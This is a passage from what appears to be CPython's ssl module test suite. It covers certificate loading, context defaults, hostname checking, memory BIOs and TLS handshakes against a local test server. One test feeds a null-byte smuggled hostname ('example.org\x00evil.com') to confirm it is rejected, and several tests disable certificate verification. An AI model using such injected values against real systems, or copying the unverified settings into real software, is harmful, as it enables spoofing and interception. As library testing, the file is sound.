KEY_PASSWORD ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_unicode) ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_bytes) ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_bytearray) ctx.load_cert_chain(CERTFILE_PROTECTED, password=GetPassCallable()) ctx.load_cert_chain(CERTFILE_PROTECTED, password=GetPassCallable().getpass) with self.assertRaises(ssl.SSLError): ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_badpass) with self.assertRaisesRegex(ValueError, "cannot be longer"): ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_huge) with self.assertRaisesRegex(TypeError, "must return a string"): ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_bad_type) with self.assertRaisesRegex(Exception, "getpass error"): ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_exception) # Make sure the password function isn't called if it isn't needed ctx.load_cert_chain(CERTFILE, password=getpass_exception) def test_load_verify_locations(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_verify_locations(CERTFILE) ctx.load_verify_locations(cafile=CERTFILE, capath=None) ctx.load_verify_locations(BYTES_CERTFILE) ctx.load_verify_locations(cafile=BYTES_CERTFILE, capath=None) self.assertRaises(TypeError, ctx.load_verify_locations) self.assertRaises(TypeError, ctx.load_verify_locations, None, None, None) with self.assertRaises(OSError) as cm: ctx.load_verify_locations(NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_verify_locations(BADCERT) ctx.load_verify_locations(CERTFILE, CAPATH) ctx.load_verify_locations(CERTFILE, capath=BYTES_CAPATH) # Issue #10989: crash if the second argument type is invalid self.assertRaises(TypeError, ctx.load_verify_locations, None, True) def test_load_verify_cadata(self): # test cadata with open(CAFILE_CACERT) as f: cacert_pem = f.read() cacert_der = ssl.PEM_cert_to_DER_cert(cacert_pem) with open(CAFILE_NEURONIO) as f: neuronio_pem = f.read() neuronio_der = ssl.PEM_cert_to_DER_cert(neuronio_pem) # test PEM ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 0) ctx.load_verify_locations(cadata=cacert_pem) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 1) ctx.load_verify_locations(cadata=neuronio_pem) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # cert already in hash table ctx.load_verify_locations(cadata=neuronio_pem) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # combined ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) combined = "\n".join((cacert_pem, neuronio_pem)) ctx.load_verify_locations(cadata=combined) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # with junk around the certs ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) combined = ["head", cacert_pem, "other", neuronio_pem, "again", neuronio_pem, "tail"] ctx.load_verify_locations(cadata="\n".join(combined)) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # test DER ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_verify_locations(cadata=cacert_der) ctx.load_verify_locations(cadata=neuronio_der) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # cert already in hash table ctx.load_verify_locations(cadata=cacert_der) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # combined ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) combined = b"".join((cacert_der, neuronio_der)) ctx.load_verify_locations(cadata=combined) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # error cases ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertRaises(TypeError, ctx.load_verify_locations, cadata=object) with self.assertRaisesRegex(ssl.SSLError, "no start line"): ctx.load_verify_locations(cadata="broken") with self.assertRaisesRegex(ssl.SSLError, "not enough data"): ctx.load_verify_locations(cadata=b"broken") def test_load_dh_params(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_dh_params(DHFILE) if os.name != 'nt': ctx.load_dh_params(BYTES_DHFILE) self.assertRaises(TypeError, ctx.load_dh_params) self.assertRaises(TypeError, ctx.load_dh_params, None) with self.assertRaises(FileNotFoundError) as cm: ctx.load_dh_params(NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaises(ssl.SSLError) as cm: ctx.load_dh_params(CERTFILE) @skip_if_broken_ubuntu_ssl def test_session_stats(self): for proto in PROTOCOLS: ctx = ssl.SSLContext(proto) self.assertEqual(ctx.session_stats(), { 'number': 0, 'connect': 0, 'connect_good': 0, 'connect_renegotiate': 0, 'accept': 0, 'accept_good': 0, 'accept_renegotiate': 0, 'hits': 0, 'misses': 0, 'timeouts': 0, 'cache_full': 0, }) def test_set_default_verify_paths(self): # There's not much we can do to test that it acts as expected, # so just check it doesn't crash or raise an exception. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.set_default_verify_paths() @unittest.skipUnless(ssl.HAS_ECDH, "ECDH disabled on this OpenSSL build") def test_set_ecdh_curve(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.set_ecdh_curve("prime256v1") ctx.set_ecdh_curve(b"prime256v1") self.assertRaises(TypeError, ctx.set_ecdh_curve) self.assertRaises(TypeError, ctx.set_ecdh_curve, None) self.assertRaises(ValueError, ctx.set_ecdh_curve, "foo") self.assertRaises(ValueError, ctx.set_ecdh_curve, b"foo") @needs_sni def test_sni_callback(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # set_servername_callback expects a callable, or None self.assertRaises(TypeError, ctx.set_servername_callback) self.assertRaises(TypeError, ctx.set_servername_callback, 4) self.assertRaises(TypeError, ctx.set_servername_callback, "") self.assertRaises(TypeError, ctx.set_servername_callback, ctx) def dummycallback(sock, servername, ctx): pass ctx.set_servername_callback(None) ctx.set_servername_callback(dummycallback) @needs_sni def test_sni_callback_refcycle(self): # Reference cycles through the servername callback are detected # and cleared. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) def dummycallback(sock, servername, ctx, cycle=ctx): pass ctx.set_servername_callback(dummycallback) wr = weakref.ref(ctx) del ctx, dummycallback gc.collect() self.assertIs(wr(), None) def test_cert_store_stats(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.cert_store_stats(), {'x509_ca': 0, 'crl': 0, 'x509': 0}) ctx.load_cert_chain(CERTFILE) self.assertEqual(ctx.cert_store_stats(), {'x509_ca': 0, 'crl': 0, 'x509': 0}) ctx.load_verify_locations(CERTFILE) self.assertEqual(ctx.cert_store_stats(), {'x509_ca': 0, 'crl': 0, 'x509': 1}) ctx.load_verify_locations(CAFILE_CACERT) self.assertEqual(ctx.cert_store_stats(), {'x509_ca': 1, 'crl': 0, 'x509': 2}) def test_get_ca_certs(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.get_ca_certs(), []) # CERTFILE is not flagged as X509v3 Basic Constraints: CA:TRUE ctx.load_verify_locations(CERTFILE) self.assertEqual(ctx.get_ca_certs(), []) # but CAFILE_CACERT is a CA cert ctx.load_verify_locations(CAFILE_CACERT) self.assertEqual(ctx.get_ca_certs(), [{'issuer': ((('organizationName', 'Root CA'),), (('organizationalUnitName', 'http://www.cacert.org'),), (('commonName', 'CA Cert Signing Authority'),), (('emailAddress', 'support@cacert.org'),)), 'notAfter': asn1time('Mar 29 12:29:49 2033 GMT'), 'notBefore': asn1time('Mar 30 12:29:49 2003 GMT'), 'serialNumber': '00', 'crlDistributionPoints': ('https://www.cacert.org/revoke.crl',), 'subject': ((('organizationName', 'Root CA'),), (('organizationalUnitName', 'http://www.cacert.org'),), (('commonName', 'CA Cert Signing Authority'),), (('emailAddress', 'support@cacert.org'),)), 'version': 3}]) with open(CAFILE_CACERT) as f: pem = f.read() der = ssl.PEM_cert_to_DER_cert(pem) self.assertEqual(ctx.get_ca_certs(True), [der]) def test_load_default_certs(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_default_certs() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_default_certs(ssl.Purpose.SERVER_AUTH) ctx.load_default_certs() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_default_certs(ssl.Purpose.CLIENT_AUTH) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertRaises(TypeError, ctx.load_default_certs, None) self.assertRaises(TypeError, ctx.load_default_certs, 'SERVER_AUTH') @unittest.skipIf(sys.platform == "win32", "not-Windows specific") @unittest.skipIf(IS_LIBRESSL, "LibreSSL doesn't support env vars") def test_load_default_certs_env(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) with support.EnvironmentVarGuard() as env: env["SSL_CERT_DIR"] = CAPATH env["SSL_CERT_FILE"] = CERTFILE ctx.load_default_certs() self.assertEqual(ctx.cert_store_stats(), {"crl": 0, "x509": 1, "x509_ca": 0}) @unittest.skipUnless(sys.platform == "win32", "Windows specific") @unittest.skipIf(hasattr(sys, "gettotalrefcount"), "Debug build does not share environment between CRTs") def test_load_default_certs_env_windows(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_default_certs() stats = ctx.cert_store_stats() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) with support.EnvironmentVarGuard() as env: env["SSL_CERT_DIR"] = CAPATH env["SSL_CERT_FILE"] = CERTFILE ctx.load_default_certs() stats["x509"] += 1 self.assertEqual(ctx.cert_store_stats(), stats) def _assert_context_options(self, ctx): self.assertEqual(ctx.options & ssl.OP_NO_SSLv2, ssl.OP_NO_SSLv2) if OP_NO_COMPRESSION != 0: self.assertEqual(ctx.options & OP_NO_COMPRESSION, OP_NO_COMPRESSION) if OP_SINGLE_DH_USE != 0: self.assertEqual(ctx.options & OP_SINGLE_DH_USE, OP_SINGLE_DH_USE) if OP_SINGLE_ECDH_USE != 0: self.assertEqual(ctx.options & OP_SINGLE_ECDH_USE, OP_SINGLE_ECDH_USE) if OP_CIPHER_SERVER_PREFERENCE != 0: self.assertEqual(ctx.options & OP_CIPHER_SERVER_PREFERENCE, OP_CIPHER_SERVER_PREFERENCE) def test_create_default_context(self): ctx = ssl.create_default_context() self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertTrue(ctx.check_hostname) self._assert_context_options(ctx) with open(SIGNING_CA) as f: cadata = f.read() ctx = ssl.create_default_context(cafile=SIGNING_CA, capath=CAPATH, cadata=cadata) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self._assert_context_options(ctx) ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self._assert_context_options(ctx) def test__create_stdlib_context(self): ctx = ssl._create_stdlib_context() self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self.assertFalse(ctx.check_hostname) self._assert_context_options(ctx) ctx = ssl._create_stdlib_context(ssl.PROTOCOL_TLSv1) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLSv1) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self._assert_context_options(ctx) ctx = ssl._create_stdlib_context(ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_REQUIRED, check_hostname=True) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLSv1) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertTrue(ctx.check_hostname) self._assert_context_options(ctx) ctx = ssl._create_stdlib_context(purpose=ssl.Purpose.CLIENT_AUTH) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self._assert_context_options(ctx) def test_check_hostname(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) # Auto set CERT_REQUIRED ctx.check_hostname = True self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_REQUIRED self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) # Changing verify_mode does not affect check_hostname ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.check_hostname = False self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) # Auto set ctx.check_hostname = True self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_OPTIONAL ctx.check_hostname = False self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_OPTIONAL) # keep CERT_OPTIONAL ctx.check_hostname = True self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_OPTIONAL) # Cannot set CERT_NONE with check_hostname enabled with self.assertRaises(ValueError): ctx.verify_mode = ssl.CERT_NONE ctx.check_hostname = False self.assertFalse(ctx.check_hostname) ctx.verify_mode = ssl.CERT_NONE self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) def test_context_client_server(self): # PROTOCOL_TLS_CLIENT has sane defaults ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) # PROTOCOL_TLS_SERVER has different but also sane defaults ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) def test_context_custom_class(self): class MySSLSocket(ssl.SSLSocket): pass class MySSLObject(ssl.SSLObject): pass ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.sslsocket_class = MySSLSocket ctx.sslobject_class = MySSLObject with ctx.wrap_socket(socket.socket(), server_side=True) as sock: self.assertIsInstance(sock, MySSLSocket) obj = ctx.wrap_bio(ssl.MemoryBIO(), ssl.MemoryBIO()) self.assertIsInstance(obj, MySSLObject) class SSLErrorTests(unittest.TestCase): def test_str(self): # The str() of a SSLError doesn't include the errno e = ssl.SSLError(1, "foo") self.assertEqual(str(e), "foo") self.assertEqual(e.errno, 1) # Same for a subclass e = ssl.SSLZeroReturnError(1, "foo") self.assertEqual(str(e), "foo") self.assertEqual(e.errno, 1) def test_lib_reason(self): # Test the library and reason attributes ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) with self.assertRaises(ssl.SSLError) as cm: ctx.load_dh_params(CERTFILE) self.assertEqual(cm.exception.library, 'PEM') self.assertEqual(cm.exception.reason, 'NO_START_LINE') s = str(cm.exception) self.assertTrue(s.startswith("[PEM: NO_START_LINE] no start line"), s) def test_subclass(self): # Check that the appropriate SSLError subclass is raised # (this only tests one of them) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE with socket.socket() as s: s.bind(("127.0.0.1", 0)) s.listen() c = socket.socket() c.connect(s.getsockname()) c.setblocking(False) with ctx.wrap_socket(c, False, do_handshake_on_connect=False) as c: with self.assertRaises(ssl.SSLWantReadError) as cm: c.do_handshake() s = str(cm.exception) self.assertTrue(s.startswith("The operation did not complete (read)"), s) # For compatibility self.assertEqual(cm.exception.errno, ssl.SSL_ERROR_WANT_READ) def test_bad_server_hostname(self): ctx = ssl.create_default_context() with self.assertRaises(ValueError): ctx.wrap_bio(ssl.MemoryBIO(), ssl.MemoryBIO(), server_hostname="") with self.assertRaises(ValueError): ctx.wrap_bio(ssl.MemoryBIO(), ssl.MemoryBIO(), server_hostname=".example.org") with self.assertRaises(TypeError): ctx.wrap_bio(ssl.MemoryBIO(), ssl.MemoryBIO(), server_hostname="example.org\x00evil.com") class MemoryBIOTests(unittest.TestCase): def test_read_write(self): bio = ssl.MemoryBIO() bio.write(b'foo') self.assertEqual(bio.read(), b'foo') self.assertEqual(bio.read(), b'') bio.write(b'foo') bio.write(b'bar') self.assertEqual(bio.read(), b'foobar') self.assertEqual(bio.read(), b'') bio.write(b'baz') self.assertEqual(bio.read(2), b'ba') self.assertEqual(bio.read(1), b'z') self.assertEqual(bio.read(1), b'') def test_eof(self): bio = ssl.MemoryBIO() self.assertFalse(bio.eof) self.assertEqual(bio.read(), b'') self.assertFalse(bio.eof) bio.write(b'foo') self.assertFalse(bio.eof) bio.write_eof() self.assertFalse(bio.eof) self.assertEqual(bio.read(2), b'fo') self.assertFalse(bio.eof) self.assertEqual(bio.read(1), b'o') self.assertTrue(bio.eof) self.assertEqual(bio.read(), b'') self.assertTrue(bio.eof) def test_pending(self): bio = ssl.MemoryBIO() self.assertEqual(bio.pending, 0) bio.write(b'foo') self.assertEqual(bio.pending, 3) for i in range(3): bio.read(1) self.assertEqual(bio.pending, 3-i-1) for i in range(3): bio.write(b'x') self.assertEqual(bio.pending, i+1) bio.read() self.assertEqual(bio.pending, 0) def test_buffer_types(self): bio = ssl.MemoryBIO() bio.write(b'foo') self.assertEqual(bio.read(), b'foo') bio.write(bytearray(b'bar')) self.assertEqual(bio.read(), b'bar') bio.write(memoryview(b'baz')) self.assertEqual(bio.read(), b'baz') def test_error_types(self): bio = ssl.MemoryBIO() self.assertRaises(TypeError, bio.write, 'foo') self.assertRaises(TypeError, bio.write, None) self.assertRaises(TypeError, bio.write, True) self.assertRaises(TypeError, bio.write, 1) class SSLObjectTests(unittest.TestCase): def test_private_init(self): bio = ssl.MemoryBIO() with self.assertRaisesRegex(TypeError, "public constructor"): ssl.SSLObject(bio, bio) def test_unwrap(self): client_ctx, server_ctx, hostname = testing_context() c_in = ssl.MemoryBIO() c_out = ssl.MemoryBIO() s_in = ssl.MemoryBIO() s_out = ssl.MemoryBIO() client = client_ctx.wrap_bio(c_in, c_out, server_hostname=hostname) server = server_ctx.wrap_bio(s_in, s_out, server_side=True) # Loop on the handshake for a bit to get it settled for _ in range(5): try: client.do_handshake() except ssl.SSLWantReadError: pass if c_out.pending: s_in.write(c_out.read()) try: server.do_handshake() except ssl.SSLWantReadError: pass if s_out.pending: c_in.write(s_out.read()) # Now the handshakes should be complete (don't raise WantReadError) client.do_handshake() server.do_handshake() # Now if we unwrap one side unilaterally, it should send close-notify # and raise WantReadError: with self.assertRaises(ssl.SSLWantReadError): client.unwrap() # But server.unwrap() does not raise, because it reads the client's # close-notify: s_in.write(c_out.read()) server.unwrap() # And now that the client gets the server's close-notify, it doesn't # raise either. c_in.write(s_out.read()) client.unwrap() class SimpleBackgroundTests(unittest.TestCase): """Tests that connect to a simple server running in the background""" def setUp(self): server = ThreadedEchoServer(SIGNED_CERTFILE) self.server_addr = (HOST, server.port) server.__enter__() self.addCleanup(server.__exit__, None, None, None) def test_connect(self): with test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_NONE) as s: s.connect(self.server_addr) self.assertEqual({}, s.getpeercert()) self.assertFalse(s.server_side) # this should succeed because we specify the root cert with test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, ca_certs=SIGNING_CA) as s: s.connect(self.server_addr) self.assertTrue(s.getpeercert()) self.assertFalse(s.server_side) def test_connect_fail(self): # This should fail because we have no verification certs. Connection # failure crashes ThreadedEchoServer, so run this in an independent # test method. s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED) self.addCleanup(s.close) self.assertRaisesRegex(ssl.SSLError, "certificate verify failed", s.connect, self.server_addr) def test_connect_ex(self): # Issue #11326: check connect_ex() implementation s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, ca_certs=SIGNING_CA) self.addCleanup(s.close) self.assertEqual(0, s.connect_ex(self.server_addr)) self.assertTrue(s.getpeercert()) def test_non_blocking_connect_ex(self): # Issue #11326: non-blocking connect_ex() should allow handshake # to proceed after the socket gets ready. s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, ca_certs=SIGNING_CA, do_handshake_on_connect=False) self.addCleanup(s.close) s.setblocking(False) rc = s.connect_ex(self.server_addr) # EWOULDBLOCK under Windows, EINPROGRESS elsewhere self.assertIn(rc, (0, errno.EINPROGRESS, errno.EWOULDBLOCK)) # Wait for connect to finish select.select([], [s], [], 5.0) # Non-blocking handshake while True: try: s.do_handshake() break except ssl.SSLWantReadError: select.select([s], [], [], 5.0) except ssl.SSLWantWriteError: select.select([], [s], [], 5.0) # SSL established self.assertTrue(s.getpeercert()) def test_connect_with_context(self): # Same as test_connect, but with a separately created context ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) self.assertEqual({}, s.getpeercert()) # Same with a server hostname with ctx.wrap_socket(socket.socket(socket.AF_INET), server_hostname="dummy") as s: s.connect(self.server_addr) ctx.verify_mode = ssl.CERT_REQUIRED # This should succeed because we specify the root cert ctx.load_verify_locations(SIGNING_CA) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) def test_connect_with_context_fail(self): # This should fail because we have no verification certs. Connection # failure crashes ThreadedEchoServer, so run this in an independent # test method. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED s = ctx.wrap_socket(socket.socket(socket.AF_INET)) self.addCleanup(s.close) self.assertRaisesRegex(ssl.SSLError, "certificate verify failed", s.connect, self.server_addr) def test_connect_capath(self): # Verify server certificates using the `capath` argument # NOTE: the subject hashing algorithm has been changed between # OpenSSL 0.9.8n and 1.0.0, as a result the capath directory must # contain both versions of each certificate (same content, different # filename) for this test to be portable across OpenSSL releases. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(capath=CAPATH) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) # Same with a bytes `capath` argument ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(capath=BYTES_CAPATH) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) def test_connect_cadata(self): with open(SIGNING_CA) as f: pem = f.read() der = ssl.PEM_cert_to_DER_cert(pem) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(cadata=pem) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) # same with DER ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(cadata=der) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) @unittest.skipIf(os.name == "nt", "Can't use a socket as a file under Windows") def test_makefile_close(self): # Issue #5238: creating a file-like object with makefile() shouldn't # delay closing the underlying "real socket" (here tested with its # file descriptor, hence skipping the test under Windows). ss = test_wrap_socket(socket.socket(socket.AF_INET)) ss.connect(self.server_addr) fd = ss.fileno() f = ss.makefile() f.close() # The fd is still open os.read(fd, 0) # Closing the SSL socket should close the fd too ss.close() gc.collect() with self.assertRaises(OSError) as e: os.read(fd, 0) self.assertEqual(e.exception.errno, errno.EBADF) def test_non_blocking_handshake(self): s = socket.socket(socket.AF_INET) s.connect(self.server_addr) s.setblocking(False) s = test_wrap_socket(s, cert_reqs=ssl.CERT_NONE, do_handshake_on_connect=False) self.addCleanup(s.close) count = 0 while True: try: count += 1 s.do_handshake() break except ssl.SSLWantReadError: select.select([s], [], []) except ssl.SSLWantWriteError: select.select([], [s], []) if support.verbose: sys.stdout.write("\nNeeded %d calls to do_handshake() to establish session.\n" % count) def test_get_server_certificate(self): _test_get_server_certificate(self, *self.server_addr, cert=SIGNING_CA) def test_get_server_certificate_fail(self): # Connection failure crashes ThreadedEchoServer, so run this in an # independent test method _test_get_server_certificate_fail(self, *self.server_addr) def test_ciphers(self): with test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_NONE, ciphers="ALL") as s: s.connect(self.server_addr) with test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_NONE, ciphers="DEFAULT") as s: s.connect(self.server_addr) # Error checking can happen at instantiation or when connecting with self.assertRaisesRegex(ssl.SSLError, "No cipher can be selected"): with socket.socket(socket.AF_INET) as sock: s = test_wrap_socket(sock, cert_reqs=ssl.CERT_NONE, ciphers="^$:,;?*'dorothyx") s.connect(self.server_addr) def test_get_ca_certs_capath(self): # capath certs are loaded on request ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_verify_locations(capath=CAPATH) self.assertEqual(ctx.get_ca_certs(), []) with ctx.wrap_socket(socket.socket(socket.AF_INET), server_hostname='localhost') as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) self.assertEqual(len(ctx.get_ca_certs()), 1) @needs_sni def test_context_setget(self): # Check that the context of a connected socket can be replaced. ctx1 = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx1.load_verify_locations(capath=CAPATH) ctx2 = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx2.load_verify_locations(capath=CAPATH) s = socket.socket(socket.AF_INET) with ctx1.wrap_socket(s, server_hostname='localhost') as ss: ss.connect(self.server_addr) self.assertIs(ss.context, ctx1) self.assertIs(ss._sslobj.context, ctx1) ss.context = ctx2 self.assertIs(ss.context, ctx2) self.assertIs(ss._sslobj.context, ctx2) def ssl_io_loop(self, sock, incoming, outgoing, func, *args, **kwargs): # A simple IO loop. Call func(*args) depending on the error we get # (WANT_READ or WANT_WRITE) move data between the socket and the BIOs. timeout = kwargs.get('timeout', 10) deadline = time.monotonic() + timeout count = 0 while True: if time.monotonic() > deadline: self.fail("timeout") errno = None count += 1 try: ret = func(*args) except ssl.SSLError as e: if e.errno not in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE): raise errno = e.errno # Get any data from the outgoing BIO irrespective of any error, and # send it to the socket. buf = outgoing.read() sock.sendall(buf) # If there's no error, we're done. For WANT_READ, we need to get # data from the socket and put it in the incoming BIO. if errno is None: break elif errno == ssl.SSL_ERROR_WANT_READ: buf = sock.recv(32768) if buf: incoming.write(buf) else: incoming.write_eof() if support.verbose: sys.stdout.write("Needed %d calls to complete %s().\n" % (count, func.__name__)) return ret def test_bio_handshake(self): sock = socket.socket(socket.AF_INET) self.addCleanup(sock.close) sock.connect(self.server_addr) incoming = ssl.MemoryBIO() outgoing = ssl.MemoryBIO() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) ctx.load_verify_locations(SIGNING_CA) sslobj = ctx.wrap_bio(incoming, outgoing, False, SIGNED_CERTFILE_HOSTNAME) self.assertIs(sslobj._sslobj.owner, sslobj) self.assertIsNone(sslobj.cipher()) self.assertIsNone(sslobj.version()) self.assertIsNotNone(sslobj.shared_ciphers()) self.assertRaises(ValueError, sslobj.getpeercert) if 'tls-unique' in ssl.CHANNEL_BINDING_TYPES: self.assertIsNone(sslobj.get_channel_binding('tls-unique')) self.ssl_io_loop(sock, incoming, outgoing, sslobj.do_handshake) self.assertTrue(sslobj.cipher()) self.assertIsNotNone(sslobj.shared_ciphers()) self.assertIsNotNone(sslobj.version()) self.assertTrue(sslobj.getpeercert()) if 'tls-unique' in ssl.CHANNEL_BINDING_TYPES: self.assertTrue(sslobj.get_channel_binding('tls-unique')) try: self.ssl_io_loop(sock, incoming, outgoing, sslobj.unwrap) except ssl.SSLSyscallError: # If the server shuts down the TCP connection without sending a # secure shutdown message, this is reported as SSL_ERROR_SYSCALL pass self.assertRaises(ssl.SSLError, sslobj.write, b'foo') def test_bio_read_write_data(self): sock = socket.socket(socket.AF_INET) self.addCleanup(sock.close) sock.connect(self.server_addr) incoming = ssl.MemoryBIO() outgoing = ssl.MemoryBIO() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_NONE sslobj = ctx.wrap_bio(incoming, outgoing, False) self.ssl_io_loop(sock, incoming, outgoing, sslobj.do_handshake) req = b'FOO\n' self.ssl_io_loop(sock, incoming, outgoing, sslobj.write, req) buf = self.ssl_io_loop(sock, incoming, outgoing, sslobj.read, 1024) self.assertEqual(buf, b'foo\n') self.ssl_io_loop(sock, incoming, outgoing, sslobj.unwrap) class NetworkedTests(unittest.TestCase): def test_timeout_connect_ex(self): # Issue #12065: on a timeout, connect_ex() should return the original # errno (mimicking the behaviour of non-SSL sockets). with support.transient_internet(REMOTE_HOST): s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, do_handshake_on_connect=False) self.addCleanup(s.close) s.settimeout(0.0000001) rc = s.connect_ex((REMOTE_HOST, 443)) if rc == 0: 